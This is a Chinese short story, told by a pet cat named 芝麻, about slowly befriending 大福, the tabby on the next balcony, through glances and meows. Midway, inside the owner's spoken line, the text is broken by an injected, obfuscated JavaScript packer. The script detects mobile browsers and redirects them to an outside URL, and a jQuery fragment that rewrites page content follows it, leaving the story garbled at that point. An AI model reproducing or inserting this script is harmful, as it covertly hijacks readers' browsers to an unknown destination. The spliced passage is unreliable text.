阳台的右边，是另一户人家。
之前我从未真正关注过那边。偶尔有声音飘过来——人类的说话声、电视的声音、锅碗碰撞的声响。但视线被一堵矮墙挡住，我看不到那边的情形，那边的生物也看不到我。
直到有一天，我发现了那个缝隙。
阳台的角落，有一盆他养了很久的绿植。枝叶繁茂，正好挡住了我的视线。但那天下午，一阵风吹过，叶子被吹开，我从叶片的间隙里，第一次看到了对面阳台的情形。
一只猫。
一只虎斑纹的、体型比我稍大的猫，正蹲在对面阳台的栏杆上，面朝我这个方向。
我们的目光在空气中相遇。
那一瞬间，我们都僵住了。
猫与猫之间的对视，有一套复杂的规则：太久会变成挑衅，太短会显得懦弱，直视意味着挑战，移开意味着退让。
我需要在零点几秒内做出判断。
我选择了微微低头，然后重新抬起。
这不是完全服从，但也不是挑衅——是“我看到你了，我没有敌意”的信号。
对面那只猫眨了眨眼睛，尾巴轻轻甩了一下。这是回应的信号。
第一轮外交，成功。
接下来的几天，我每天都会在那个时间点——下午三点左右——蹲在绿植旁边，等待叶片的晃动。有时风吹得刚好，我们就能对视几秒。有时风不配合，我只能看到模糊的影子，但那已经足够。
我开始收集关于这只猫的信息。
它——我从气味的微弱飘散和体型的轮廓判断，应该是个雄性，年纪和我相仿或者稍大一点。它的毛色比我浅一些，花纹也没有我清晰，但体型更壮实。它的阳台比我们的杂乱，堆着一些纸箱和旧家具，这给了它更多的隐蔽点和瞭望台。
它似乎也在观察我。
有一天，它发出了声音。一声低沉的“喵”，不长不短，像问候，又像试探。
我回应了一声。音量控制得恰到好处——不能太大，否则会显得好斗；不能太小，否则会显得软弱。
从那以后，我们每天都会进行这样的对话。短暂的几声“喵”，隔着两座阳台之间的空气，交换着我们各自的信息：我在这里，我很安全，我没有恶意，你那边怎么样？
我不知道它在对面阳台上的生活是什么样的。有时我能听到那边传来的人类声音——一个中年女性的嗓音，偶尔还有一个男性的。有时会有食物的香味飘过来，和这边的完全不同。它的生活，大概和我的有很多相似之处，又有许多不同。
但在这个钢筋水泥的丛林里，在这片由阳台组成的微小世界里，有一个同类在隔空问候我，这种感觉很特别。
有一天下午，他回家比平时早，看到我蹲在绿植旁边，尾巴轻轻晃动。
“在看什么？”他走过来，顺着我的视线看过去。
正好这时，对面那只猫也出现了。它蹲在栏杆上，隔着矮墙和绿植的遮挡，和我们——和我，和他——对视。
“哦，”他笑了，“那是隔壁大福家的猫吧？叫……什么来着？我记得好像叫……”他想了想，“虎子？不对，阿福？也不对……”
对面那只猫似乎对这个名字的混乱感到不满，扭过头去，舔了舔爪子。
“算了，”他蹲下来，摸摸我的头，“交个朋友也好。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420577|200829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过别打起来啊。”
打架？为什么要打架？我们每天通过空气交换着信息，已经建立了基本的信任。虽然我还不知道它的名字，但我知道它的作息时间，知道它喜欢蹲在哪个位置晒太阳，知道它的尾巴在表达不同情绪时的细微差别。
有一天下午，我们甚至同时做出了同样的动作：跳到各自的栏杆上，面朝对方，在风中对视了整整一分钟。
那一分钟里，没有任何声音，没有任何动作。只是两个生命，隔着距离，承认彼此的存在。
那一刻，我明白了什么是“邻居”。不是家人，不是朋友，但也不是陌生人。是在同一片天空下，共享着相似的日常，在各自的领地里，知道对方也在。
那天晚上，我把这个消息带回了家——通过我的气味、我的姿态、我的行为方式。他看出来了。
“今天见到对面那只猫了？”他在给我倒猫粮的时候问。
我抬头“喵”了一声，表示肯定。
“挺好，”他说，“芝麻有朋友了。”
朋友？算是吧。
一种距离遥远但真实存在的联系，一种不需要语言也能理解的默契。
后来，我从他和他母亲的对话里，知道了那只猫的名字——虽然他们争论了好几次才确定。
它叫“大福”，是隔壁那位老太太养的，已经在那里生活了七年。
比我来这个家还要早。
七年。在这个位置，看着这片天空，听着这个城市的声音，隔着阳台与另一个世界对视。
大福，你好。
我是芝麻。
从今往后，我们就是隔着空气的邻居了。